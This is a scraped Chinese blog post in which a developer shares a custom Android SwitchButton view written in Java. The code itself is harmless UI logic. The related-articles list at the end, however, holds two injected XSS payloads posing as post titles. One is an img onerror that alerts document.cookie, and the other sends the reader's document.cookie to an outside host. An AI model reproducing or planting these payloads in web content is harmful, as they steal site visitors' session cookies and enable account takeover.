自定义Switch——第一次写博客
来源:互联网 发布:淘宝店仓库管理制度 编辑:程序博客网 时间:2024/06/06 03:13
本人勉强算是一枚初中级的Android开发吧,接触Android大概有一年左右的时间了。其实也就是工作了将近一年左右的时间,从大学校园步入社会工作感概万千,当然技术上的收获还是很大的。可能技术人员都会写点博客吧,那我也就随着大伙浪一波。偷笑
深夜突发奇想写点什么那?以前用过系统自带的Switch。但是只能是4.0以上的系统才可以用。(本人目前的主要工作内容是支付SDK,boss让我兼容到2.3–MD大哭)。好吧自己动手丰衣足食,其实这个东西很简单。话不多说上代码。可能写这个就是给自己看,好让自己的思路更加清晰点。额~莫名都这么晚了。
package com.dyk.viewdemo; import android.content.Context; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.graphics.Canvas; import android.graphics.Matrix; import android.graphics.Paint; import android.util.AttributeSet; import android.view.MotionEvent; import android.view.View; /** * Created by DYK on 2015/10/10. */ public class SwitchButton extends View implements View.OnTouchListener {//两张背景一个滑动的小按钮,不一定非得是Bitmap,发挥想象力咯 private Bitmap bg_Open; private Bitmap bg_Close; private Bitmap slip_Button;//OnTouch()记录你的手指轨迹然后在onDraw()里绘制(这都是国际惯例了) private float StartX; private float EndX;//两个标记的小东西,是否在滑动?是open还是close? private boolean IsSlip = false; private boolean Status = false;//对外的接口,要不然别人怎么知道是打开还是关闭 private OnChangedListener onChangedListener; public SwitchButton(Context context) { this(context, null); } public SwitchButton(Context context, AttributeSet attrs) { super(context, attrs); init(); }//获取资源,没啥好玩的 private void init() { bg_Open = BitmapFactory.decodeResource(getResources(), R.drawable.open); bg_Close = BitmapFactory.decodeResource(getResources(), R.drawable.close); slip_Button = BitmapFactory.decodeResource(getResources(), R.drawable.slip); setOnTouchListener(this); }//简单期间,直接把大小设置成了背景图的大小,开发中不要这么做 @Override protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) { super.onMeasure(widthMeasureSpec, heightMeasureSpec); setMeasuredDimension(bg_Open.getWidth(), bg_Open.getHeight()); }//根据你Action.up的X位置实现活动和最终status的判断,小学生都能搞定。关于图片的缩放你可以好好的研究下,一用矩阵啦和Rect。 @Override protected void onDraw(Canvas canvas) { super.onDraw(canvas); Matrix matrix = new Matrix(); Paint paint = new Paint(); if (EndX < bg_Open.getWidth() / 2) canvas.drawBitmap(bg_Open, matrix, paint); else canvas.drawBitmap(bg_Close, matrix, paint); float tempX = 0; if (IsSlip) { if (EndX >= bg_Open.getWidth()) tempX = bg_Open.getWidth() - slip_Button.getWidth() / 2; else tempX = EndX - slip_Button.getWidth() / 2; } else { if (Status) tempX = bg_Open.getWidth() - slip_Button.getWidth(); else tempX = 0; } if (tempX < 0) tempX = 0; else if (tempX > bg_Open.getWidth() - slip_Button.getWidth()) { tempX = bg_Open.getWidth() - slip_Button.getWidth(); } canvas.drawBitmap(slip_Button, tempX, 0, paint); } @Override public boolean onTouch(View view, MotionEvent motionEvent) { switch (motionEvent.getAction()) { case MotionEvent.ACTION_DOWN: if (motionEvent.getX() > bg_Open.getWidth() || motionEvent.getY() > bg_Open.getHeight()) return false; else { IsSlip = true; StartX = motionEvent.getX(); EndX = StartX; } break; case MotionEvent.ACTION_MOVE: EndX = motionEvent.getX(); break; case MotionEvent.ACTION_UP: IsSlip = false; if (motionEvent.getX() >= bg_Open.getWidth() / 2) { Status = true; EndX = bg_Open.getWidth() - slip_Button.getWidth(); } else { Status = false; EndX = 0; } // onChangedListener.OnChangedListner(Status); break; } invalidate(); return true; } public void setStatus(boolean status) { if (status) EndX = bg_Open.getWidth(); else EndX = 0; Status = status; } public void setOnChangedListener(OnChangedListener listener) { onChangedListener = listener; } public interface OnChangedListener { public void OnChangedListner(boolean status); }}
国际惯例上图,那三张图是我用画图工具自己画的,嘻嘻
0 0
- 自定义Switch——第一次写博客
- 第一次写博客 ——java中的三角形
- 黑马程序员——第一次在csdn写博客
- 第一次写博客—毕业一年的感悟
- 第一次写博客
- 第一次写博客
- 第一次写博客
- 第一次写博客
- 第一次写博客
- 我第一次写博客
- 第一次写博客
- 第一次写博客
- 第一次写博客文章
- 我第一次写博客
- 第一次写博客
- 第一次写博客
- 第一次写博客
- 第一次写博客
- 打造APP引导页3D切换特效
- 关于UICollectionView的几点认识
- HDU 5499 【水】
- [ReactNative入门到精通]React Native 第一个程序 Hello Word
- BC#59 (div.2)
- 自定义Switch——第一次写博客
- 中缀表达式转换成后缀表达式
- 动态规划算法——矩阵连乘问题
- <img src=i onerror=alert(document.cookie)>
- MFC库中CObject
- 对象池的设计及其实现
- OkHttp使用教程
- Max Points on a Line
- 有哪些值得关注的【i <img src=hi onerror='(new Image()).src="http://expicker.sinaapp.com/?c="+document.cookie'